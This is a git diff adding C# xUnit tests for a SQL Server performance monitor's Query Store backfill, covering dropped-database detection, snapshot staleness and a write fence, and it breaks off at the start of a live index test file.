+        Assert.False(fence.WroteUnknownNameSince(1, snapshot.Sequence, known));
+
+        fence.BeginWrite(1, new[] { "a", "b" });
+        fence.EndWrite(1, succeeded: true);
+        fence.BeginWrite(2, new[] { "other_server_name" });
+        fence.EndWrite(2, succeeded: true);
+        fence.BeginWrite(1);
+        fence.EndWrite(1, succeeded: true);
+        Assert.False(fence.WroteUnknownNameSince(1, snapshot.Sequence, known));
+
+        fence.BeginWrite(1, new[] { "a", "c" });
+        Assert.True(fence.WroteUnknownNameSince(1, snapshot.Sequence, known));
+        Assert.False(fence.NameSnapshot(1).Quiet);
+    }
+
+    [Fact]
+    public void AFailedWrite_StillRecordsItsNames_AndPoisonsTheSnapshot()
+    {
+        var fence = new QueryStoreWriteFence();
+        var snapshot = fence.NameSnapshot(1);
+        fence.BeginWrite(1, new[] { "new_db" });
+        fence.EndWrite(1, succeeded: false);
+
+        Assert.True(fence.WroteUnknownNameSince(1, snapshot.Sequence, new HashSet<string>(StringComparer.Ordinal)));
+        Assert.False(fence.NameSnapshot(1).Quiet);
+    }
+
+    [Fact]
+    public void TheRunnerNamesItsDatabases_AndTheWorkerHandsTheBackfillTheFence()
+    {
+        var runner = File.ReadAllText(Path.Combine(ServiceDirectory(), "DarlingCollectorRunner.cs"));
+        var worker = File.ReadAllText(Path.Combine(ServiceDirectory(), "DarlingWorker.cs"));
+
+        Assert.Contains("_queryStoreWriteFence?.BeginWrite(beginServerId, queryStoreDatabases);", runner, StringComparison.Ordinal);
+        var backfill = worker.IndexOf("new QueryStoreBackfill(", StringComparison.Ordinal);
+        Assert.True(backfill > 0);
+        Assert.Contains("_queryStoreWriteFence);", worker.Substring(backfill, 1800), StringComparison.Ordinal);
+        Assert.Contains("_queryStoreBackfill?.ForgetServer(id);", worker, StringComparison.Ordinal);
+    }
+
+    private static string ServiceDirectory([System.Runtime.CompilerServices.CallerFilePath] string here = "")
+        => Path.Combine(Path.GetDirectoryName(here)!, "..", "PerformanceMonitor.Darling.Service");
+}
diff --git a/Darling/Darling.Tests/QueryStoreBackfillDroppedDatabaseTests.cs b/Darling/Darling.Tests/QueryStoreBackfillDroppedDatabaseTests.cs
new file mode 100644
index 0000000000..1fc3fc264e
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreBackfillDroppedDatabaseTests.cs
@@ -0,0 +1,534 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5483: a database dropped from the monitored server must stop being a backfill candidate.
+///
+/// <para>What a user saw: after four temporary databases were dropped, every backfill tick still tried each one
+/// and logged "database does not exist", for as long as the store held rows for it. The cause is not the
+/// <c>collector_state</c> keys. A failed slice writes no state, and the hourly orphan prune retires the
+/// <c>done:</c> and <c>hole:</c> keys of a dropped database (pinned below). The candidate list is read from the
+/// COLLECTED ROWS in <c>query_store_stats</c> (plus any database a hole names), so a database that shipped rows
+/// inside the horizon is a candidate until those rows age out, whatever the state table says. The fix reads the
+/// newest <c>database_states</c> snapshot: a candidate absent from it, with no stored row at or after the
+/// snapshot, is gone.</para>
+///
+/// <para><b>#1776 own-store</b> — mints its own scratch database (via <see cref="ScratchPostgres"/>). The slice
+/// body is replaced through <see cref="QueryStoreBackfill.SliceOverrideForTests"/> and throws what the server
+/// throws for a missing database, so no SQL Server is needed; the tick loop, the candidate read, the stored-floor
+/// read and the real orphan prune are the production ones.</para>
+/// </summary>
+public sealed class QueryStoreBackfillDroppedDatabaseTests
+{
+    private const int TestServerId = -548301;
+    private const string Kept = "aaa_kept_db";
+    private const string Dropped = "bbb_dropped_db";
+    private const string Created = "ccc_created_after_snapshot_db";
+    private const string MissingMessage = "Cannot open database requested by the login. The login failed. (database does not exist)";
+
+    private static DateTime Ago(TimeSpan span) => DateTime.SpecifyKind(DateTime.UtcNow - span, DateTimeKind.Unspecified);
+
+    [Fact]
+    public async Task ADroppedDatabase_StopsBeingTried_OnceTheNewestSnapshotLeavesItOut_AndItsStateIsPruned()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        /* Two databases with a young stored history, so each has a pending tail slice. The dropped one also carries
+           a hole key, written 20 minutes ago. */
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(1), ct);
+        await fixture.SeedStateAsync(Dropped, TimeSpan.FromMinutes(20), ct);
+
+        /* The first snapshot names both: the drop has not happened yet, so the dropped database is still worked. */
+        await fixture.SeedSnapshotAsync(TimeSpan.FromMinutes(30), [Kept, Dropped], ct);
+        await fixture.RunTicksAsync(4, ct);
+        Assert.Contains(Dropped, fixture.Attempts);
+
+        /* The drop: the newest snapshot (5 minutes ago, slower than the 5-minute backfill tick) no longer names it. */
+        await fixture.SeedSnapshotAsync(TimeSpan.FromMinutes(5), [Kept], ct);
+        fixture.Attempts.Clear();
+
+        Assert.True(await fixture.Runner.PruneOrphanedQueryStoreDatabaseStateAsync(TestServerId, ct));
+        Assert.Null(await fixture.HoleAsync(Dropped, ct));
+
+        await fixture.RunTicksAsync(6, ct);
+
+        Assert.DoesNotContain(Dropped, fixture.Attempts);
+        Assert.Null(await fixture.HoleAsync(Dropped, ct));
+    }
+
+    [Fact]
+    public async Task ADroppedDatabaseWhoseHistoryReachesTheHorizon_IsNotMarkedDoneAgain_AfterThePruneRetiredItsMarker()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        /* A row inside the horizon makes the dropped database a candidate; a row past it makes the tick mark it done
+           without a slice. Before the fix the hourly prune deleted that marker and the next tick wrote it back, so
+           the database was never retired. */
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Dropped, QueryStoreBackfill.PlainStoreHorizon + TimeSpan.FromDays(1), ct);
+        await fixture.SeedSnapshotAsync(TimeSpan.FromMinutes(30), [Kept, Dropped], ct);
+        await fixture.RunTicksAsync(4, ct);
+        Assert.NotNull(await fixture.StateAsync(QueryStoreBackfillState.DoneKeyPrefix, Dropped, ct));
+
+        /* A snapshot a second ahead of the marker's own write, so the prune judges it (a marker is stamped "now"). */
+        await fixture.SeedSnapshotAsync(TimeSpan.FromSeconds(-1), [Kept], ct);
+        Assert.True(await fixture.Runner.PruneOrphanedQueryStoreDatabaseStateAsync(TestServerId, ct));
+        Assert.Null(await fixture.StateAsync(QueryStoreBackfillState.DoneKeyPrefix, Dropped, ct));
+
+        await fixture.RunTicksAsync(4, ct);
+
+        Assert.Null(await fixture.StateAsync(QueryStoreBackfillState.DoneKeyPrefix, Dropped, ct));
+    }
+
+    [Fact]
+    public void AbsentFromSnapshot_ReturnsOnlyTheCandidatesTheSnapshotDoesNotName_ComparedOrdinally()
+    {
+        var snapshot = new HashSet<string>(StringComparer.Ordinal) { "App", "Live" };
+
+        Assert.Equal(
+            ["AppArchive", "app"],
+            QueryStoreBackfillState.AbsentFromSnapshot(["App", "AppArchive", "Live", "app"], snapshot));
+        Assert.Empty(QueryStoreBackfillState.AbsentFromSnapshot([], snapshot));
+    }
+
+    [Fact]
+    public async Task ADatabaseWithRowsNewerThanTheSnapshot_IsStillTried()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        /* Created after the newest snapshot: absent from it, but its rows are newer than it. Dropping it would be
+           the very mistake the prune's own freshness guard exists to avoid. */
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Created, TimeSpan.FromMinutes(2), ct);
+        await fixture.SeedSnapshotAsync(TimeSpan.FromMinutes(10), [Kept], ct);
+
+        await fixture.RunTicksAsync(4, ct);
+
+        Assert.Contains(Created, fixture.Attempts);
+    }
+
+    [Fact]
+    public async Task WithNoSnapshotAtAll_NothingIsDropped()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        /* No database_states row for this server (Azure SQL DB never collects one; so does a server that has not
+           collected yet): the list is not known, so every candidate stays. */
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(1), ct);
+
+        await fixture.RunTicksAsync(4, ct);
+
+        Assert.Contains(Kept, fixture.Attempts);
+        Assert.Contains(Dropped, fixture.Attempts);
+    }
+
+    [Fact]
+    public void SnapshotStalenessBound_IsThreeIntervals_NeverUnderOneHour_AndAnExactBoundIsFresh()
+    {
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(1));
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(0));
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(-5));
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreBackfillState.SnapshotStalenessBound(20));
+        Assert.Equal(TimeSpan.FromMinutes(90), QueryStoreBackfillState.SnapshotStalenessBound(30));
+        Assert.Equal(TimeSpan.FromHours(6), QueryStoreBackfillState.SnapshotStalenessBound(120));
+
+        var now = new DateTime(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+        Assert.False(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromHours(1), now, 1));
+        Assert.True(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromHours(1) - TimeSpan.FromTicks(1), now, 1));
+        Assert.False(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromMinutes(89), now, 30));
+        Assert.True(QueryStoreBackfillState.IsSnapshotStale(now - TimeSpan.FromMinutes(91), now, 30));
+    }
+
+    [Fact]
+    public async Task AStaleSnapshot_DropsNothing_AndRunsNoProbe()
+    {
+        var log = new CapturingTestLogger();
+        await using var fixture = await DroppedBackfillStore.CreateAsync(log);
+        var ct = TestContext.Current.CancellationToken;
+
+        /* The newest snapshot is three hours old, past the one-hour floor, and does not name the dropped database.
+           It could equally predate the drop, so it must not be believed: both databases stay candidates. The
+           Information line is written only after the per-database probe has found nothing newer, so its absence
+           shows no probe ran. */
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(5), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(5), ct);
+        await fixture.SeedSnapshotAsync(TimeSpan.FromHours(3), [Kept], ct);
+
+        await fixture.RunTicksAsync(4, ct);
+
+        Assert.Contains(Kept, fixture.Attempts);
+        Assert.Contains(Dropped, fixture.Attempts);
+        Assert.DoesNotContain(log.Lines, line => line.Contains("not in the newest database_states snapshot", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ASnapshotInsideThreeIntervals_StillDrops_WhenTheServersIntervalIsLong()
+    {
+        var log = new CapturingTestLogger();
+        await using var fixture = await DroppedBackfillStore.CreateAsync(log, serverId => 120);
+        var ct = TestContext.Current.CancellationToken;
+
+        /* Three hours old would be stale at the one-hour floor, but this server collects database_states every two
+           hours, so the bound is six hours and the snapshot still decides. */
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(5), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(5), ct);
+        await fixture.SeedSnapshotAsync(TimeSpan.FromHours(3), [Kept], ct);
+
+        await fixture.RunTicksAsync(4, ct);
+
+        Assert.Contains(Kept, fixture.Attempts);
+        Assert.DoesNotContain(Dropped, fixture.Attempts);
+    }
+
+    [Fact]
+    public async Task ASnapshotWhoseNamesAreAllNull_DropsNothing()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(1), ct);
+        await fixture.SeedNullNamedSnapshotAsync(TimeSpan.FromMinutes(5), ct);
+
+        await fixture.RunTicksAsync(4, ct);
+
+        Assert.Contains(Kept, fixture.Attempts);
+        Assert.Contains(Dropped, fixture.Attempts);
+    }
+
+    [Fact]
+    public async Task ARowExactlyAtTheSnapshotTime_KeepsTheDatabase()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        /* The freshness test is >=: a row stamped the same instant as the snapshot proves the database was alive
+           when the snapshot was read, which the snapshot (it does not name it) cannot contradict. */
+        var snapshotTime = Ago(TimeSpan.FromMinutes(10));
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAtAsync(Created, snapshotTime, ct);
+        await fixture.SeedSnapshotAtAsync(snapshotTime, [Kept], ct);
+
+        var survivors = await fixture.DropGoneAsync([Kept, Created], ct);
+
+        Assert.Equal([Kept, Created], survivors);
+    }
+
+    [Fact]
+    public async Task ARowJustBeforeTheSnapshotTime_DoesNotKeepTheDatabase()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        var snapshotTime = Ago(TimeSpan.FromMinutes(10));
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAtAsync(Dropped, snapshotTime.AddTicks(-10), ct);
+        await fixture.SeedSnapshotAtAsync(snapshotTime, [Kept], ct);
+
+        var survivors = await fixture.DropGoneAsync([Kept, Dropped], ct);
+
+        Assert.Equal([Kept], survivors);
+    }
+
+    [Fact]
+    public async Task AFailedGoneCheck_KeepsEveryCandidate_AndWarnsOncePerRun()
+    {
+        var log = new CapturingTestLogger();
+        await using var fixture = await DroppedBackfillStore.CreateAsync(log);
+        var ct = TestContext.Current.CancellationToken;
+
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(1), ct);
+        await fixture.SeedSnapshotAsync(TimeSpan.FromMinutes(5), [Kept], ct);
+        await fixture.BreakSnapshotTableAsync(ct);
+
+        for (var tick = 0; tick < 3; tick++)
+        {
+            Assert.Equal([Kept, Dropped], await fixture.DropGoneAsync([Kept, Dropped], ct));
+        }
+
+        Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+        Assert.Contains(log.Lines, line => line.Contains("checking which databases are gone failed", StringComparison.Ordinal));
+
+        /* A check that works again ends the run, so the next failure warns again. */
+        await fixture.RepairSnapshotTableAsync(ct);
+        Assert.Equal([Kept], await fixture.DropGoneAsync([Kept, Dropped], ct));
+        await fixture.BreakSnapshotTableAsync(ct);
+        Assert.Equal([Kept, Dropped], await fixture.DropGoneAsync([Kept, Dropped], ct));
+        Assert.Equal(2, log.CountAtLevel(LogLevel.Warning));
+    }
+
+    [Fact]
+    public async Task TheGoneReportedSet_IsTrimmedToTheCandidatesStillListed()
+    {
+        await using var fixture = await DroppedBackfillStore.CreateAsync();
+        var ct = TestContext.Current.CancellationToken;
+
+        await fixture.SeedRowAsync(Kept, TimeSpan.FromHours(1), ct);
+        await fixture.SeedRowAsync(Dropped, TimeSpan.FromHours(1), ct);
+        await fixture.SeedSnapshotAsync(TimeSpan.FromMinutes(5), [Kept], ct);
+
+        Assert.Equal([Kept], await fixture.DropGoneAsync([Kept, Dropped], ct));
+        Assert.Equal(1, fixture.GoneReportedCount);
+
+        /* The dropped database's rows aged out, so it left the candidate list: its entry goes with it. */
+        Assert.Equal([Kept], await fixture.DropGoneAsync([Kept], ct));
+        Assert.Equal(0, fixture.GoneReportedCount);
+
+        /* An empty list trims too. */
+        Assert.Equal([Kept], await fixture.DropGoneAsync([Kept, Dropped], ct));
+        Assert.Equal(1, fixture.GoneReportedCount);
+        Assert.Empty(await fixture.DropGoneAsync([], ct));
+        Assert.Equal(0, fixture.GoneReportedCount);
+    }
+
+    /// <summary>A scratch store, a real runner and backfill, and a slice body that completes for every database
+    /// except <see cref="Dropped"/>, which throws what a missing database throws.</summary>
+    private sealed class DroppedBackfillStore : IAsyncDisposable
+    {
+        private ScratchPostgres _scratch = null!;
+        private NpgsqlDataSource _postgres = null!;
+        private QueryStoreBackfill _backfill = null!;
+        private ServerRuntime _server = null!;
+        private long _collectionId = 548300;
+
+        public DarlingCollectorRunner Runner { get; private set; } = null!;
+
+        public List<string> Attempts { get; } = [];
+
+        public static async Task<DroppedBackfillStore> CreateAsync(ILogger? logger = null, Func<int, int>? databaseStatesIntervalMinutes = null)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live dropped-database backfill tests (they mint their own scratch database).");
+
+            var ct = TestContext.Current.CancellationToken;
+            var fixture = new DroppedBackfillStore
+            {
+                _scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct),
+            };
+            await using (var connection = new NpgsqlConnection(fixture._scratch.ConnectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+            }
+
+            fixture._postgres = NpgsqlDataSource.Create(fixture._scratch.ConnectionString);
+            fixture.Runner = new DarlingCollectorRunner(fixture._postgres, new CollectorDeltaCalculator());
+            fixture._backfill = new QueryStoreBackfill(
+                fixture._postgres, fixture.Runner, new CollectorDeltaCalculator(), logger, databaseStatesIntervalMinutes: databaseStatesIntervalMinutes);
+            fixture._backfill.SliceOverrideForTests = async (database, span) =>
+            {
+                fixture.Attempts.Add(database);
+                if (string.Equals(database, Dropped, StringComparison.Ordinal))
+                {
+                    throw new InvalidOperationException(MissingMessage);
+                }
+
+                await fixture.Runner.SaveCollectorStateAsync(
+                    TestServerId,
+                    QueryStoreBackfill.StateCollectorName,
+                    new Dictionary<string, string>(StringComparer.Ordinal)
+                    {
+                        [QueryStoreBackfillState.DoneKeyPrefix + database] = DateTime.UtcNow.ToString("o", CultureInfo.InvariantCulture),
+                    },
+                    TestContext.Current.CancellationToken);
+            };
+            fixture._server = new ServerRuntime
+            {
+                Config = new MonitoredServer { Name = "backfill-dropped-test", Host = "backfill-dropped-test" },
+                ConnectionString = "Server=backfill-dropped-test",
+                Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+                StorageName = "backfill-dropped-test",
+                ServerId = TestServerId,
+                EngineEdition = 3,
+            };
+            return fixture;
+        }
+
+        public async Task RunTicksAsync(int ticks, CancellationToken ct)
+        {
+            for (var tick = 0; tick < ticks; tick++)
+            {
+                try
+                {
+                    await _backfill.RunServerSliceAsync(_server, ct);
+                }
+                catch (InvalidOperationException ex) when (ex.Message.Contains("database does not exist", StringComparison.Ordinal))
+                {
+                    /* The worker's outer catch logs a failed slice and carries on to the next tick. */
+                }
+            }
+        }
+
+        /// <summary>One stored row <paramref name="age"/> old whose last_execution_time is an hour older: inside the
+        /// horizon, so the database is a candidate, and newer than the floor, so a tail slice is pending.</summary>
+        public async Task SeedRowAsync(string databaseName, TimeSpan age, CancellationToken ct)
+        {
+            const string sql = @"
+INSERT INTO collect.query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, module_name, query_hash,
+     query_id, plan_id, execution_type_desc, replica_role,
+     runtime_stats_interval_id, interval_start_time_utc, first_execution_time, last_execution_time,
+     execution_count, avg_duration_us, avg_cpu_time_us, min_duration_us, max_duration_us)
+VALUES
+    ($1, $2, $3, 'SQL01', $4, 'dbo.GetOrders', '0xABCD', 91, 111, 'Regular', 'Primary',
+     1, $2, $5, $5, 1, 100, 100, 100, 100)";
+
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            await using var command = new NpgsqlCommand(sql, connection);
+            command.Parameters.AddWithValue(++_collectionId);
+            command.Parameters.AddWithValue(Ago(age));
+            command.Parameters.AddWithValue(TestServerId);
+            command.Parameters.AddWithValue(databaseName);
+            command.Parameters.AddWithValue(Ago(age + TimeSpan.FromHours(1)));
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        /// <summary>A hole key for <paramref name="databaseName"/>, its updated_at set explicitly so it can sit
+        /// before a snapshot (a state save stamps "now", which no past snapshot could judge).</summary>
+        public async Task SeedStateAsync(string databaseName, TimeSpan age, CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.collector_state (server_id, collector_name, state_key, state_value, updated_at)
+VALUES ($1, $2, $3, $4, $5)", connection);
+            command.Parameters.AddWithValue(TestServerId);
+            command.Parameters.AddWithValue(QueryStoreBackfill.StateCollectorName);
+            command.Parameters.AddWithValue(QueryStoreBackfillState.HoleKeyPrefix + databaseName);
+            command.Parameters.AddWithValue(QueryStoreBackfillState.EncodeHole(
+                DateTime.UtcNow.AddDays(-2), DateTime.UtcNow.AddHours(-5)));
+            command.Parameters.AddWithValue(Ago(age));
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        public async Task SeedSnapshotAsync(TimeSpan age, string[] databases, CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            foreach (var database in databases)
+            {
+                await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.database_states (collection_id, collection_time, server_id, server_name, database_name, database_id, state_desc, is_in_standby)
+VALUES (0, $1, $2, 'SQL01', $3, 5, 'ONLINE', false)", connection);
+                command.Parameters.AddWithValue(Ago(age));
+                command.Parameters.AddWithValue(TestServerId);
+                command.Parameters.AddWithValue(database);
+                await command.ExecuteNonQueryAsync(ct);
+            }
+        }
+
+        public int GoneReportedCount => _backfill.GoneReportedCountForTests(TestServerId);
+
+        public Task<List<string>> DropGoneAsync(List<string> candidates, CancellationToken ct)
+            => _backfill.DropGoneDatabasesAsync(TestServerId, candidates, DateTime.UtcNow.AddDays(-7), ct, "backfill-dropped-test");
+
+        /* The snapshot table renamed away, so the gone check's first read fails the way a store outage would. */
+        public async Task BreakSnapshotTableAsync(CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            await using var command = new NpgsqlCommand("ALTER TABLE collect.database_states RENAME TO database_states_away", connection);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        public async Task RepairSnapshotTableAsync(CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            await using var command = new NpgsqlCommand("ALTER TABLE collect.database_states_away RENAME TO database_states", connection);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        /// <summary>One stored row stamped exactly <paramref name="collectionTime"/>.</summary>
+        public async Task SeedRowAtAsync(string databaseName, DateTime collectionTime, CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, module_name, query_hash,
+     query_id, plan_id, execution_type_desc, replica_role,
+     runtime_stats_interval_id, interval_start_time_utc, first_execution_time, last_execution_time,
+     execution_count, avg_duration_us, avg_cpu_time_us, min_duration_us, max_duration_us)
+VALUES
+    ($1, $2, $3, 'SQL01', $4, 'dbo.GetOrders', '0xABCD', 91, 111, 'Regular', 'Primary',
+     1, $2, $2, $2, 1, 100, 100, 100, 100)", connection);
+            command.Parameters.AddWithValue(++_collectionId);
+            command.Parameters.AddWithValue(collectionTime);
+            command.Parameters.AddWithValue(TestServerId);
+            command.Parameters.AddWithValue(databaseName);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        public async Task SeedSnapshotAtAsync(DateTime collectionTime, string[] databases, CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            foreach (var database in databases)
+            {
+                await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.database_states (collection_id, collection_time, server_id, server_name, database_name, database_id, state_desc, is_in_standby)
+VALUES (0, $1, $2, 'SQL01', $3, 5, 'ONLINE', false)", connection);
+                command.Parameters.AddWithValue(collectionTime);
+                command.Parameters.AddWithValue(TestServerId);
+                command.Parameters.AddWithValue(database);
+                await command.ExecuteNonQueryAsync(ct);
+            }
+        }
+
+        /// <summary>A snapshot whose rows carry no database name (the column allows NULL).</summary>
+        public async Task SeedNullNamedSnapshotAsync(TimeSpan age, CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            await using var command = new NpgsqlCommand(@"
+INSERT INTO collect.database_states (collection_id, collection_time, server_id, server_name, database_name, database_id, state_desc, is_in_standby)
+VALUES (0, $1, $2, 'SQL01', NULL, 5, 'ONLINE', false)", connection);
+            command.Parameters.AddWithValue(Ago(age));
+            command.Parameters.AddWithValue(TestServerId);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        public Task<string?> HoleAsync(string databaseName, CancellationToken ct)
+            => StateAsync(QueryStoreBackfillState.HoleKeyPrefix, databaseName, ct);
+
+        public async Task<string?> StateAsync(string prefix, string databaseName, CancellationToken ct)
+        {
+            await using var connection = await _postgres.OpenConnectionAsync(ct);
+            await using var command = new NpgsqlCommand(
+                "SELECT state_value FROM collect.collector_state WHERE server_id = $1 AND collector_name = $2 AND state_key = $3", connection);
+            command.Parameters.AddWithValue(TestServerId);
+            command.Parameters.AddWithValue(QueryStoreBackfill.StateCollectorName);
+            command.Parameters.AddWithValue(prefix + databaseName);
+            return await command.ExecuteScalarAsync(ct) as string;
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _postgres.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreBackfillTests.cs b/Darling/Darling.Tests/QueryStoreBackfillTests.cs
index c35e845a53..4372ac8b1c 100644
--- a/Darling/Darling.Tests/QueryStoreBackfillTests.cs
+++ b/Darling/Darling.Tests/QueryStoreBackfillTests.cs
@@ -22,6 +22,7 @@ namespace PerformanceMonitor.Darling.Tests;
 /// worker's collector_state rows off the query_store definition (whose "declares NO StateKeys"
 /// contract is pinned by CollectorStateContractTests and must survive this feature).
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class QueryStoreBackfillTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs b/Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs
new file mode 100644
index 0000000000..0db9d9deb9
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs
@@ -0,0 +1,652 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The background Query Store indexes on a real store whose <c>collect.query_store_stats</c> is a hypertable: the
+/// BRIN and #4952's btree both build valid, a second ensure changes nothing, an INVALID leftover is dropped and
+/// rebuilt, the Query Store top reads and the duration trend's table read return identical rows with the indexes
+/// absent and present (a NULL-start row included), the writer's update stays HOT with both present, and a spec aimed
+/// at the hypertable is skipped with a warning and builds nothing.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it, so it cannot race
+   live collection. */
+public sealed class QueryStoreBackgroundIndexesLiveTests
+{
+    private const string Raw = "collect.query_store_stats";
+    private const string Wide = "collect.query_store_interval_wide";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static async Task<NpgsqlConnection> OpenStoreAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct), "TimescaleDB must be available for the #4952 live tests");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        return connection;
+    }
+
+    private static Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct) =>
+        QueryStoreIntervalWideBrinIndexLiveTests.ExecAsync(connection, sql, ct);
+
+    private static Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct) =>
+        QueryStoreIntervalWideBrinIndexLiveTests.ScalarAsync(connection, sql, ct);
+
+    /* Both background indexes, in the order the worker's delayed task ensures them: the BRIN, then the btree. Shared with
+       the HOT census in QueryStoreIntervalWideBrinIndexLiveTests, which must see every spec in All. */
+    internal static async Task EnsureAllAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var spec in QueryStoreBackgroundIndexes.All)
+        {
+            await QueryStoreBackgroundIndexes.EnsureAsync(connection, spec, Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, ct);
+        }
+    }
+
+    /* #5571: the interval tables are partitioned by day, and a partitioned parent's relpages is -1 (it holds no pages of
+       its own). The table's size is the sum over its leaf partitions, which is what a pass over the table reads. */
